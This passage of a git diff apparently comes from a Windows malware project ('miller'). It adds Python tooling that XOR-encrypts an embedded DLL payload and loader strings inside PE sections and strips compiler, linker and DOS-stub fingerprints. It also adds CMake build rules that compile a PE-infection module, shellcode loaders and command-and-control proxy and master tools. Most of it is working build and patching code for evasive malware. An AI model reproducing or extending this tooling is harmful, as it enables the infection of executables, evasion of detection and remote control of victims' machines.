+ endmarker = pyload.getEndmarker()
+ loaderdict = pyload.getStructOffset()
+
+ # argument checks
+ # pyloader python lib and endmarker
+ if not options.endmarker and pyload is None:
+ sys.stderr.write(bname + ': missing --endmarker and '+pyload_name+' ('+options.pyload+') not imported\n')
+ sys.exit(1)
+ elif not options.endmarker:
+ sys.stderr.write(bname + ': using default endmarker 0x'+str(endmarker).encode('hex')+'\n')
+ else:
+ tmp = str(parse_c_array(options.endmarker))
+ if endmarker is not None and tmp != endmarker:
+ sys.stderr.write(bname + ': WARNING: LOADER_ENDMARKER is not equal --endmarker: '+str(endmarker).encode('hex')+' != '+str(tmp).encode('hex')+'\n')
+ sys.stderr.write(bname + ': using '+str(tmp).encode('hex')+'\n')
+ endmarker = tmp
+ if len(endmarker) % 4 != 0:
+ sys.stderr.write(bname + ': endmarker length MUST be a multiple of 4 and not ' + str(len(endmarker)) + '\n')
+ sys.exit(1)
+ if options.verbose:
+ print bname + ': using 0x' + endmarker.encode('hex') + ' as endmarker'
+ # win32_pe is required for all operations
+ if options.win32_pe is None:
+ sys.stderr.write(bname + ': WIN32_PE is required for all operations\n')
+ parser.print_help()
+ sys.exit(1)
+ # same applies for section (TODO: Maybe discard section and search for endmarker in whole pe file)
+ if options.section is None:
+ sys.stderr.write(bname + ': --win32 needs --section\n')
+ parser.print_help()
+ sys.exit(1)
+ # target section is required (specifies the DLL section)
+ if options.patch and options.target_section is None:
+ sys.stderr.write(bname + ': --patch needs --target-section\n')
+ parser.print_help()
+ sys.exit(1)
+ # patch win32_pe directly if possible
+ if options.out_file is None:
+ options.out_file = options.win32_pe
+
+ for binary in [options.win32_pe, options.miller_bin]:
+ if binary is not None:
+ if not os.access(binary, os.R_OK):
+ sys.stderr.write(bname + ': No read access ' + binary + '\n')
+ sys.exit(2)
+
+ if not(os.path.isfile(objdmp_bin) or os.access(objdmp_bin, os.X_OK)):
+ sys.stderr.write(bname + ': objdump ('+objdmp_bin+') does not exist or is not executable\n')
+ sys.exit(2)
+
+ # read win32pe/miller_bin
+ buf = None
+ (ldrVma, ldrPtr, ldrSiz) = objdump_sections(options.win32_pe, options.section)
+ if (ldrVma or ldrPtr or ldrSiz) is None:
+ sys.stderr.write(bname + ': Error: Loader section missing or objdump binary does not work.\n')
+ objdump_print_err(bname)
+ sys.exit(3)
+ # print section offset/size
+ if options.verbose:
+ print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.section, options.win32_pe, ldrVma, ldrPtr, ldrSiz))
+ # load file to memory
+ buf = file_to_buf(options.win32_pe)
+ if buf is None:
+ sys.stderr.write(bname + ': could not load file '+options.win32_pe+' into memory\n')
+ sys.exit(3)
+ # search loader endmarker
+ endoff = find_endmarker_offset(endmarker, buf, ldrPtr, ldrSiz)
+ if endoff == -1:
+ sys.stderr.write(bname + ': endmarker(`'+endmarker.encode('hex')+'`) not found\n')
+ sys.exit(3)
+ if options.verbose:
+ print bname + ': endmarker(`'+endmarker.encode('hex')+'`) found at '+str(endoff)+' ('+str(hex(endoff))+')'
+ # -a, -z, -m
+ if options.show_adr:
+ print str(ldrPtr) if not options.verbose else str(bname) + ': '+options.section+' offset: '+str(ldrPtr)+' ('+str(hex(ldrPtr))+')'
+ if options.show_siz:
+ print str(ldrSiz) if not options.verbose else str(bname) + ': '+options.section+' size: '+str(ldrSiz)+' ('+str(hex(ldrSiz))+')'
+ if options.show_marker:
+ print str(endoff) if not options.verbose else str(bname) + ': '+options.section+' endmarker: '+str(endoff)+' ('+str(hex(endoff))+')'
+
+ # parse dll and patch loader
+ if options.win32_pe is not None:
+ if options.target_section is None:
+ sys.stderr.write(bname + ': Dumping data from target section requires --dll-section\n')
+ sys.exit(3)
+ (dllVma, dllPtr, dllSiz) = objdump_sections(options.win32_pe, options.target_section)
+ if (dllVma or dllPTr or dllSiz) is None:
+ sys.stderr.write(bname + ': Error: DLL (target)section missing or objdump binary does not work.\n')
+ objdump_print_err(bname)
+ sys.exit(3)
+ if options.verbose:
+ print bname + (': found section %s in %s (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (options.target_section, options.win32_pe, dllVma, dllPtr, dllSiz))
+
+ # let's encrypt
+ if pycrypt is not None and options.win32_pe is not None and buf is not None:
+ ((keybuf,keypatched), (ivbuf,ivpatched)) = getXorKeyIv(buf, loaderdict, endoff, pycrypt.xorRandomKeyIv)
+ if options.verbose:
+ print bname + ': ' + ('XOR(KEY) patched' if keypatched is True else 'XOR(KEY) !patched') + ', ' + ('XOR(IV) patched' if ivpatched is True else 'XOR(IV) !patched')
+ print (bname + ': XOR(KEY,LEN): %s (%d bytes)\n' + bname + ': XOR(IV ,LEN): %s (%d bytes)') % (str(keybuf).encode('hex'), len(keybuf), str(ivbuf).encode('hex'), len(ivbuf))
+ else:
+ if options.show_xorkey:
+ print str(keybuf).encode('hex')
+ if options.show_xoriv:
+ print str(ivbuf).encode('hex')
+
+ # Loader string encryption
+ if options.crypt_strings is True:
+ (isPlain, isValid) = isLoaderStringsEncrypted(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt)
+ if not isValid:
+ sys.stderr.write(bname + ': XOR Loader Strings are not valid, wrong XOR key/iv?\n')
+ sys.exit(4)
+ if not isPlain:
+ sys.stderr.write(bname + ': XOR Loader Strings already encrypted\n')
+ elif patchLoaderStrings(buf, loaderdict, endoff, keybuf, ivbuf, pycrypt.xorCrypt) is not True:
+ sys.stderr.write(bname + ': XOR Crypt Loader Strings failed\n')
+ sys.exit(4)
+ elif options.verbose:
+ print bname + ': String encryption succeeded!'
+
+ # PE binary encryption
+ if options.crypt_dll is True:
+ (validDOS, validPE) = isDllHeaderEncrypted(buf, dllPtr)
+ if validDOS is not True or validPE is not True:
+ sys.stderr.write(bname + ': Not a valid DOS/PE Header, already encrypted?\n')
+ else:
+ ret = patchEncryptDll(buf, dllPtr, dllSiz, keybuf, ivbuf, pycrypt.xorCrypt)
+ if ret != (True, True, True):
+ sys.stderr.write(bname + ': PE encryption failed! Returned: %s\n' % (str(ret)))
+ sys.exit(4)
+ if options.verbose:
+ print bname + ': PE encryption done'
+
+ # parse dll and patch loader
+ if options.patch and pyload is not None and buf is not None:
+ if options.verbose:
+ print bname + (': Patching Loader with dll section (RVA: 0x%08X | PTR: 0x%08X | SIZ: 0x%08X)' % (dllVma,dllPtr,dllSiz))
+ found = patchLoader(buf, loaderdict, endoff, (dllVma,dllPtr,dllSiz))
+ if found:
+ if not buf_to_file(options.out_file, buf):
+ sys.stderr.write(bname + ': could not write buffer to disk\n')
+ sys.exit(4)
+ if options.verbose:
+ print bname + ': Patching succeeded!'
+ else:
+ sys.stderr.write(bname + ': None found ..\n')
+ sys.exit(4)
+
+ sys.exit(0)
diff --git a/batch/pycrypt_test.py b/batch/pycrypt_test.py
new file mode 100755
index 0000000..1d7e0fb
--- /dev/null
+++ b/batch/pycrypt_test.py
@@ -0,0 +1,52 @@
+#!/usr/bin/env python2.7
+
+import binascii, imp, time, sys, os.path
+
+
+m = imp.load_dynamic('pycrypt',os.path.dirname(sys.argv[0])+'/../bin/pycrypt')
+m.info()
+
+def check_str(d, p):
+ if str(d).find(str(p)) != 0 and len(d) != len(p):
+ sys.stderr.write('ERROR: "' + str(d) + '" != "' + str(p) + '"\n')
+ sys.stderr.write(' ' + str(len(d)) + ' , ' + str(len(p)) + ' , ' + str(len(binascii.hexlify(d))) + ' , ' + str(len(binascii.hexlify(p))) + '\n')
+ sys.stderr.write(' "' + binascii.hexlify(d) + '"\n')
+ sys.stderr.write(' "' + binascii.hexlify(p) + '"\n')
+
+count = int(sys.argv[1]) if len(sys.argv) > 1 else -1
+while count != 0:
+ k = m.aesRandomKey(m.KEY_256)
+ print 'AESKey:', binascii.hexlify(k)
+
+ p = 'Top Secret Message!' + str('#'*0)
+
+ x = m.aesAllocCtx(k)
+ print 'AESCtx:', binascii.hexlify(x)
+
+ c = m.aesCrypt(x, p, True)
+ print 'AESMsg:', binascii.hexlify(c), '(%d)' % (len(c))
+
+ d = m.aesCrypt(x, c, False)
+ print 'OrgMsg:', binascii.hexlify(d), binascii.hexlify(p)
+ print ' ', str(d), '(%d)' % (len(d))
+
+ check_str(d,p)
+
+ xork = m.xorRandomKeyIv(8)
+ xori = m.xorRandomKeyIv(8)
+ print 'XorKey:', binascii.hexlify(xork)
+ print 'XorIv.:', binascii.hexlify(xori)
+
+ c = m.xorCrypt(p, xork, xori)
+ print 'XorMsg:', binascii.hexlify(c), '(%d)' % (len(c))
+
+ d = m.xorCrypt(c, xork, xori)
+ print 'OrgMsg:', binascii.hexlify(d)
+ print ' ', str(d), '(%d)' % (len(d))
+
+ check_str(d,p)
+
+ time.sleep(0.01)
+
+ if count > 0:
+ count -= 1
diff --git a/batch/removeDosStub.py b/batch/removeDosStub.py
new file mode 100755
index 0000000..8ed2247
--- /dev/null
+++ b/batch/removeDosStub.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+import binascii
+
+
+e_lfanew_OFFSET = 0x40
+SizeOfHeaders_OFFSET = 0x04 + 0x14 + 0x3C # sizeof(PE_sig) + sizeof(COFF_hdr) + Optional_hdr->SizeOfHeaders
+SizeOfHeaders_DEFAULT = 0x400 # default value for GCC
+
+
+def main(argv):
+ found = 0
+ absfound = 0
+ buf = bytearray()
+ with open(argv[0], "rb") as fin:
+ for line in fin:
+ buf += line
+ if buf[0:2] != '\x4d\x5a':
+ return False
+
+ e_lfanew = struct.unpack("<L", buf[e_lfanew_OFFSET-0x4:e_lfanew_OFFSET])[0]
+ dosStubSiz = e_lfanew - e_lfanew_OFFSET
+ if buf[e_lfanew:e_lfanew+0x2] != '\x50\x45':
+ return False
+ i = int(e_lfanew) + SizeOfHeaders_OFFSET
+ SizeOfHeaders = struct.unpack("<L", buf[i:i+0x4])[0]
+ if SizeOfHeaders > SizeOfHeaders_DEFAULT or SizeOfHeaders <= 0:
+ return False
+
+ newstart = (e_lfanew - dosStubSiz)
+ if newstart <= 0:
+ return False
+ newstart = struct.pack("<L", newstart)
+
+ buf[0x2:0x3C] = '\x00'*(0x3C-0x2)
+ buf[0x3C:0x40] = newstart
+ buf[0x40:0x40+dosStubSiz] = '\x00'*(0x80-0x40)
+ buf[e_lfanew_OFFSET:] = buf[e_lfanew:SizeOfHeaders] + bytearray('\x00'*dosStubSiz) + buf[SizeOfHeaders:]
+
+ with open(argv[0], "wb") as fout:
+ fout.write(str(buf))
+ fout.flush()
+ return True
+
+if __name__ == "__main__":
+ bname = os.path.basename(sys.argv[0])
+ if len(sys.argv) < 2:
+ sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n')
+ sys.exit(1)
+ if not os.access(sys.argv[1], os.W_OK):
+ sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n')
+ sys.exit(2)
+ print bname + ': Checking DOS/PE Header'
+ if main(sys.argv[1:]):
+ print bname + ': NULL\'d/REMOVED unused DOS header values/stub'
+ else:
+ print bname + ': Not a valid DOS/PE Header/Stub'
+ sys.exit(3)
+
+ sys.exit(0)
diff --git a/batch/removeGccVersion.py b/batch/removeGccVersion.py
new file mode 100755
index 0000000..b88f581
--- /dev/null
+++ b/batch/removeGccVersion.py
@@ -0,0 +1,63 @@
+#!/usr/bin/env python2.7
+
+import sys
+import struct
+import os
+
+# replaces 'GCC: (GNU) 4.9.4' with zeroes (.rdata$zzz)
+needle = '\x47\x43\x43\x3a\x20\x28\x47\x4e\x55\x29\x20\x34\x2e\x39\x2e\x34'
+# zeroing major+minor linker version (0x010b = magic, 0x02 major, 0x19 minor => GNU ld 2.25)
+needle2 = '\x0b\x01\x02\x19'
+
+def main(argv):
+ found = 0
+ absfound = 0
+ buf = bytearray()
+ with open(argv[0], "rb") as fin:
+ for line in fin:
+ buf += line
+ with open(argv[0], "wb") as fout:
+ pos = str(buf).find(needle)
+ while pos > -1:
+ poslen = 0
+ if pos > -1:
+ for v in buf[pos:]:
+ if v == 0:
+ break
+ poslen += 1
+ buf[pos:pos+poslen] = '\x00'*poslen
+ found += 1
+ absfound += poslen
+ pos = str(buf).find(needle)
+
+ pos = str(buf).find(needle2)
+ ldsig = False
+ if pos > -1 and pos <= 0x200:
+ ldsig = True
+ buf[pos+2] = '\x00'
+ buf[pos+3] = '\x00'
+
+ fout.write(str(buf))
+ fout.flush()
+ return ( bool(ldsig), int(found), int(absfound) )
+
+if __name__ == "__main__":
+ bname = os.path.basename(sys.argv[0])
+ if len(sys.argv) < 2:
+ sys.stderr.write(bname + ' usage: ' + sys.argv[0] + ' [WIN32_PE]\n')
+ sys.exit(1)
+ if not os.access(sys.argv[1], os.W_OK):
+ sys.stderr.write(bname + ': No write access: ' + sys.argv[1] + '\n')
+ sys.exit(2)
+ print bname + ': Searching for GCC Fingerprint:', needle.encode('hex')
+ (ldsig, found, abslen) = main(sys.argv[1:])
+ if found > 0:
+ print bname + ': Found', found, 'occurences; Zero\'d:', found * len(needle) + abslen, 'bytes'
+ else:
+ print bname + ': None found .. (.rdata$zzz already removed)'
+ if ldsig:
+ print bname + ': Linker signature removed ..'
+ else:
+ print bname + ': No Linker signature found'
+
+ sys.exit(0)
diff --git a/cmake/CMakeBuildDeps.cmake b/cmake/CMakeBuildDeps.cmake
new file mode 100644
index 0000000..632e9cc
--- /dev/null
+++ b/cmake/CMakeBuildDeps.cmake
@@ -0,0 +1,8 @@
+set(DEPS_BUILDSTAMP deps/sysroot/.stamp_build)
+
+add_custom_command(OUTPUT ${DEPS_BUILDSTAMP}
+ COMMAND ./deps/makedeps.sh && touch ${DEPS_BUILDSTAMP}
+)
+add_custom_target(deps
+ DEPENDS ${DEPS_BUILDSTAMP}
+)
diff --git a/cmake/CMakeMillerBuild.cmake b/cmake/CMakeMillerBuild.cmake
new file mode 100644
index 0000000..0fc900c
--- /dev/null
+++ b/cmake/CMakeMillerBuild.cmake
@@ -0,0 +1,127 @@
+set(MILLER_SRC snprintf.c aes.c crypt.c crypt_strings.c compat.c file.c math.c pe_infect.c utils.c disasm.c patch.c main.c CACHE INTERNAL "" FORCE)
+set(MILLER_HDR snprintf.h aes.h crypt.h crypt_strings.h compat.h file.h math.h pe_infect.h utils.h disasm.h patch.h CACHE INTERNAL "" FORCE)
+if (ENABLE_IRC)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_ENABLE_IRC=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_DEFS ${MILLER_DEFS} "_ENABLE_IRC=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_SRC ${MILLER_SRC} irc.c CACHE INTERNAL "" FORCE)
+ set(MILLER_HDR ${MILLER_HDR} irc.h CACHE INTERNAL "" FORCE)
+else()
+ set(MILLER_SRC ${MILLER_SRC} http.c CACHE INTERNAL "" FORCE)
+ set(MILLER_HDR ${MILLER_HDR} http.h CACHE INTERNAL "" FORCE)
+endif()
+if (HTTP_LOCALHOST)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_HTTP_LOCALHOST=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_DEFS ${MILLER_DEFS} "_HTTP_LOCALHOST=1" CACHE INTERNAL "" FORCE)
+endif()
+if (INFECT_DUMMY)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_INFECT_DUMMY=1" CACHE INTERNAL "" FORCE)
+ set(MILLER_DEFS ${MILLER_DEFS} "_INFECT_DUMMY=1" CACHE INTERNAL "" FORCE)
+endif()
+if (EXTRA_VERBOSE)
+ set(MILLER_PRE_DEFS ${MILLER_PRE_DEFS} "_EXTRA_VERBOSE=1" CACHE INTERNAL "" FORCE)
+endif()
+
+PrefixPath(MILLER_SRC source ${MILLER_SRC})
+PrefixPath(MILLER_HDR include ${MILLER_HDR})
+
+set(CRT_X86 crt_x86 CACHE INTERNAL "" FORCE)
+set(CRT_X86_SRC ${CRT_X86}.asm; CACHE INTERNAL "" FORCE)
+PrefixPath(CRT_X86_SRC source ${CRT_X86_SRC})
+
+set(LOADER_X86_SRC ${LOADER_X86}.asm CACHE INTERNAL "" FORCE)
+PrefixPath(LOADER_X86_SRC source ${LOADER_X86_SRC})
+
+set(DECRYPTER_X86_SRC ${DECRYPTER_X86}.asm CACHE INTERNAL "" FORCE)
+PrefixPath(DECRYPTER_X86_SRC source ${DECRYPTER_X86_SRC})
+
+set(DISTORM_SRCDIR "source/distorm" CACHE INTERNAL "" FORCE)
+set(DISTORM_PRE_DEFS CACHE INTERNAL "" FORCE)
+set(DISTORM_DEFS ${DISTORM_PRE_DEFS} DISTORM_LIGHT=1 CACHE INTERNAL "" FORCE)
+set(DISTORM_SRC decoder.c distorm.c instructions.c insts.c mnemonics.c operands.c prefix.c CACHE INTERNAL "" FORCE)
+set(DISTORM_PRE_SRC ${DISTORM_SRC} wstring.c textdefs.c CACHE INTERNAL "" FORCE)
+PrefixPath(DISTORM_SRC ${DISTORM_SRCDIR} ${DISTORM_SRC})
+PrefixPath(DISTORM_PRE_SRC ${DISTORM_SRCDIR} ${DISTORM_PRE_SRC})
+
+include_directories(AFTER ${MILLER_HDRDIR})
+include_directories(AFTER ${DISTORM_SRCDIR})
+
+# miller minimal CRTi
+add_library(${CRT_X86} ${CRT_X86_SRC})
+set_target_properties(${CRT_X86} PROPERTIES COMPILE_FLAGS "-O0")
+
+# miller dll32 loader (final version, no debug, no pe32 support)
+add_library(${LOADER_X86} ${LOADER_X86_SRC})
+set_target_properties(${LOADER_X86} PROPERTIES COMPILE_FLAGS "-D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0")
+# miller dll32 loader (debug, pe32 support)
+add_library(${LOADER_X86}_debug ${LOADER_X86_SRC})
+set_target_properties(${LOADER_X86}_debug PROPERTIES COMPILE_FLAGS "-D_DEBUG=1 -D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0")
+# miller dll32 decrypter (debug, decrypter.exe)
+add_library(${DECRYPTER_X86} ${DECRYPTER_X86_SRC})
+set_target_properties(${DECRYPTER_X86} PROPERTIES COMPILE_FLAGS "-D_LDR_SECTION=${LOADER_SECTION} -D_LOADER_ENDMARKER=${LOADER_ENDMARKER} -O0")
+
+# miller release build (DYNAMIC LINKED RELOCATEABLE)
+add_library(${PROJECT_NAME}-shared SHARED ${MILLER_HDR} ${MILLER_SRC})
+add_dependencies(${PROJECT_NAME}-shared ${CRT_X86} loader_gen hdrcrypt cryptout_aes cryptout_xor)
+target_link_libraries(${PROJECT_NAME}-shared distorm ${CRT_X86})
+
+# miller release (c|ld)flags
+target_include_directories(${PROJECT_NAME}-shared PRIVATE ${MILLER_HDRDIR_CREATED})
+target_compile_definitions(${PROJECT_NAME}-shared PRIVATE ${DISTORM_DEFS} ${MILLER_DEFS} ${LOADERBASE_DEFS})
+set_target_properties(${PROJECT_NAME}-shared PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(${PROJECT_NAME}-shared PROPERTIES LINK_FLAGS "${default_ldflags} -v -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}-shared.map -Wl,--image-base,${MILLER_IMAGEBASE}")
+
+# miller pre-release build
+add_library(${PROJECT_NAME}_pre-shared SHARED ${MILLER_HDR} ${MILLER_SRC})
+add_dependencies(${PROJECT_NAME}_pre-shared ${CRT_X86} loader_gen hdrcrypt cryptout_aes cryptout_xor)
+target_link_libraries(${PROJECT_NAME}_pre-shared distorm_pre ${CRT_X86})
+
+# miller pre-release (c|ld)flags
+target_include_directories(${PROJECT_NAME}_pre-shared PRIVATE ${MILLER_HDRDIR_CREATED})
+target_compile_definitions(${PROJECT_NAME}_pre-shared PRIVATE ${DISTORM_PRE_DEFS} ${MILLER_PRE_DEFS} ${LOADERBASE_DEFS})
+set_target_properties(${PROJECT_NAME}_pre-shared PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(${PROJECT_NAME}_pre-shared PROPERTIES LINK_FLAGS "${default_ldflags} -v -Wl,-Map,${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre-shared.map -Wl,--image-base,${MILLER_IMAGEBASE}")
+
+# run some python scripts to remove binutils/gcc/mingw fingerprints
+RemoveGCCFingerprintFromObj(${PROJECT_NAME}-shared ${MILLER_SRC})
+RemoveFingerprints(${PROJECT_NAME}-shared)
+RemoveGCCFingerprintFromObj(${PROJECT_NAME}_pre-shared ${MILLER_SRC})
+RemoveFingerprints(${PROJECT_NAME}_pre-shared)
+
+CreateBinary(${PROJECT_NAME}-shared ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin)
+CreateBinary(${PROJECT_NAME}_pre-shared ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin)
+add_dependencies(${PROJECT_NAME}-shared_bin ${PROJECT_NAME}-shared_no-fingerprints)
+add_dependencies(${PROJECT_NAME}_pre-shared_bin ${PROJECT_NAME}_pre-shared_no-fingerprints)
+
+install(FILES ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin DESTINATION ${INSTALL_DEST})
+
+add_custom_command(TARGET ${PROJECT_NAME}-shared
+ PRE_BUILD
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --red --bold "Creating symlink: ${CMAKE_RUNTIME_OUTPUT_DIRECTORY} to ${CMAKE_CURRENT_SOURCE_DIR}/bin"
+ COMMAND test -e "${CMAKE_CURRENT_SOURCE_DIR}/bin" || ${CMAKE_COMMAND} -E create_symlink "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}" "${CMAKE_CURRENT_SOURCE_DIR}/bin"
+)
+
+add_custom_command(OUTPUT ${LOADER_HEADER_STAMP} ${LOADER_HEADER}
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "genShellcode.py: ${LOADER_HEADER}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/genShellcode.py --section="${LOADER_SECTION}" --binary="$<TARGET_FILE:${LOADER_X86}>" --define-prefix="LOADER_SHELLCODE" --file="${LOADER_HEADER}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/genShellcode.py --section="${LOADER_SECTION}" --binary="$<TARGET_FILE:${LOADER_X86}_debug>" --define-prefix="LOADER_SHELLCODE_DEBUG" --file="${LOADER_HEADER}"
+ COMMAND ${CMAKE_COMMAND} -E touch ${LOADER_HEADER_STAMP}
+)
+add_custom_target(loader_gen
+ DEPENDS ${LOADER_X86} ${LOADER_X86}_debug ${LOADER_HEADER_STAMP} ${LOADER_HEADER}
+)
+
+add_library(distorm ${DISTORM_SRC})
+set_target_properties(distorm PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(distorm PROPERTIES LINK_FLAGS "${default_ldflags}")
+target_compile_definitions(distorm PRIVATE ${DISTORM_DEFS})
+# remove gcc fingerprint from distorm
+RemoveGCCFingerprintFromObj(distorm ${DISTORM_SRC})
+
+add_library(distorm_pre ${DISTORM_PRE_SRC})
+set_target_properties(distorm_pre PROPERTIES COMPILE_FLAGS "${default_cflags} ${miller_cflags}")
+set_target_properties(distorm_pre PROPERTIES LINK_FLAGS "${default_ldflags}")
+target_compile_definitions(distorm_pre PRIVATE ${DISTORM_PRE_DEFS})
+# remove gcc fingerprint from distorm_pre
+RemoveGCCFingerprintFromObj(distorm_pre ${DISTORM_PRE_SRC})
+
+install(TARGETS ${PROJECT_NAME}-shared ${PROJECT_NAME}_pre-shared RUNTIME DESTINATION ${INSTALL_DEST})
diff --git a/cmake/CMakeMillerFuncs.cmake b/cmake/CMakeMillerFuncs.cmake
new file mode 100644
index 0000000..a919904
--- /dev/null
+++ b/cmake/CMakeMillerFuncs.cmake
@@ -0,0 +1,85 @@
+function(GetMillerSectionFromInclude destfile definition out)
+
+set(tmp "")
+execute_process(COMMAND ${CMAKE_SOURCE_DIR}/batch/millerSectionFromInclude.sh ${destfile} ${definition} OUTPUT_VARIABLE tmp)
+if (tmp STREQUAL "")
+ unset(${out})
+else()
+ set(${out} "${tmp}" PARENT_SCOPE)
+endif()
+
+endfunction()
+
+
+function(RemoveGCCFingerprintFromObj targetname)
+
+ foreach(f ${ARGN})
+ add_custom_command(TARGET ${targetname} PRE_LINK
+ COMMAND ${CMAKE_OBJCOPY} -R '.rdata$$zzz' "${CMAKE_CURRENT_BINARY_DIR}/CMakeFiles/${targetname}.dir/${f}.obj"
+ DEPENDS ${targetname}
+ )
+ endforeach(f)
+
+endfunction()
+
+
+function(RemoveFingerprints targetname)
+
+set(tmp_stmp "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/.${targetname}_no-fingerprints")
+add_custom_command(OUTPUT ${tmp_stmp}
+ # .edata && .idata is elementary for windows' LoadLibrary(...) func :/
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "RemoveFingerprints for ${targetname}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeGccVersion.py "$<TARGET_FILE:${targetname}>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/nullDataDirs.py "$<TARGET_FILE:${targetname}>"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeDosStub.py "$<TARGET_FILE:${targetname}>"
+ COMMAND ${CMAKE_COMMAND} -E touch ${tmp_stmp}
+ DEPENDS ${targetname}
+)
+add_custom_target(${targetname}_no-fingerprints ALL DEPENDS ${targetname} ${tmp_stmp})
+
+endfunction()
+
+
+function(CreateBinary targetname outfile)
+
+set(tmp_stmp "${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/.${targetname}_bin-build")
+add_custom_command(OUTPUT ${outfile} ${tmp_stmp}
+ COMMAND ${CMAKE_COMMAND} -E cmake_echo_color --cyan --bold "CreateBinary: ${outfile}"
+ COMMAND ${CMAKE_COMMAND} -E remove ${tmp_stmp}
+ COMMAND ${CMAKE_COMMAND} -E copy "$<TARGET_FILE:${targetname}>" "${outfile}"
+ COMMAND ${CMAKE_STRIP} -R .edata "${outfile}" || true
+ COMMAND ${CMAKE_STRIP} -R .idata "${outfile}" || true
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeGccVersion.py "${outfile}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/nullDataDirs.py "${outfile}"
+ COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/removeDosStub.py "${outfile}"
+ COMMAND chmod -x "${outfile}"
+ COMMAND ${CMAKE_COMMAND} -E touch ${tmp_stmp}
+ DEPENDS ${targetname}
+)
+add_custom_target(${targetname}_bin ALL DEPENDS ${targetname} ${outfile} ${tmp_stmp})
+
+endfunction()
+
+
+function(PrefixPath var prefix)
+
+ set(listVar "")
+ foreach(f ${ARGN})
+ list(APPEND listVar "${prefix}/${f}")
+ endforeach(f)
+ set(${var} "${listVar}" PARENT_SCOPE)
+
+endfunction()
+
+
+include(CheckCSourceCompiles)
+
+function(CompileCSource source result cflags defs incl libs quiet)
+ set(CMAKE_REQUIRED_FLAGS ${cflags})
+ set(CMAKE_REQUIRED_DEFINITIONS ${defs})
+ set(CMAKE_REQUIRED_INCLUDES ${incl})
+ set(CMAKE_REQUIRED_LIBRARIES ${libs})
+ set(CMAKE_REQUIRED_QUIET ${quiet})
+ CHECK_C_SOURCE_COMPILES("${source}" ${result})
+endfunction()
+
diff --git a/cmake/CMakeMillerHostTools.cmake b/cmake/CMakeMillerHostTools.cmake
new file mode 100644
index 0000000..8a06cb0
--- /dev/null
+++ b/cmake/CMakeMillerHostTools.cmake
@@ -0,0 +1,119 @@
+set(TOOLS_DIR tools)
+set(HOST_TOOLS_SRCDIR ${TOOLS_DIR}/host)
+set(HOST_TOOLS_BUILDDIR ${CMAKE_CURRENT_BINARY_DIR}/host-tools)
+set(HOST_TOOLS_MK ${HOST_TOOLS_BUILDDIR}/Makefile)
+set(HOST_TOOLS_MKSTAMP ${STAMP_DIR}/.host-tools-build)
+set(HOST_TOOLS_SRCGOAPPS ${MILLER_SRCDIR}/${HOST_TOOLS_SRCDIR}/go)
+set(HOST_TOOLS_CNCPROXY ${HOST_TOOLS_SRCGOAPPS}/cncproxy)
+set(HOST_TOOLS_CNCMASTER ${HOST_TOOLS_SRCGOAPPS}/cncmaster)
+
+set(CMAKE_ASM_NASM_OBJECT_FORMAT "win32")
+set(CMAKE_ASM_NASM_COMPILER_ARG1 "-I${MILLER_SRCDIR}")
+set(ASM_DIALECT "-NASM")
+set(CMAKE_ASM${ASM_DIALECT}_SOURCE_FILE_EXTENSIONS nasm;asm)
+enable_language(ASM_NASM)
+
+set(CRYPT_FILEDIR ${MILLER_HDRDIR})
+set(CRYPT_AESFILE ${CRYPT_FILEDIR}/aes_strings.h)
+set(CRYPT_AESOUT ${MILLER_HDRDIR_CREATED}/aes_strings_gen.h)
+set(CRYPT_AESOUT_STAMP ${STAMP_DIR}/.aes-strings-header-build)
+set(CRYPT_XORFILE ${CRYPT_FILEDIR}/xor_strings.h)
+set(CRYPT_XOROUT ${MILLER_HDRDIR_CREATED}/xor_strings_gen.h)
+set(CRYPT_XOROUT_STAMP ${STAMP_DIR}/.xor-strings-header-build)
+
+set(CRYPT_NAME hdr_crypt-host)
+set(CRYPT_EXEC ${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${CRYPT_NAME})
+
+set(PYLOAD_NAME pyloader)
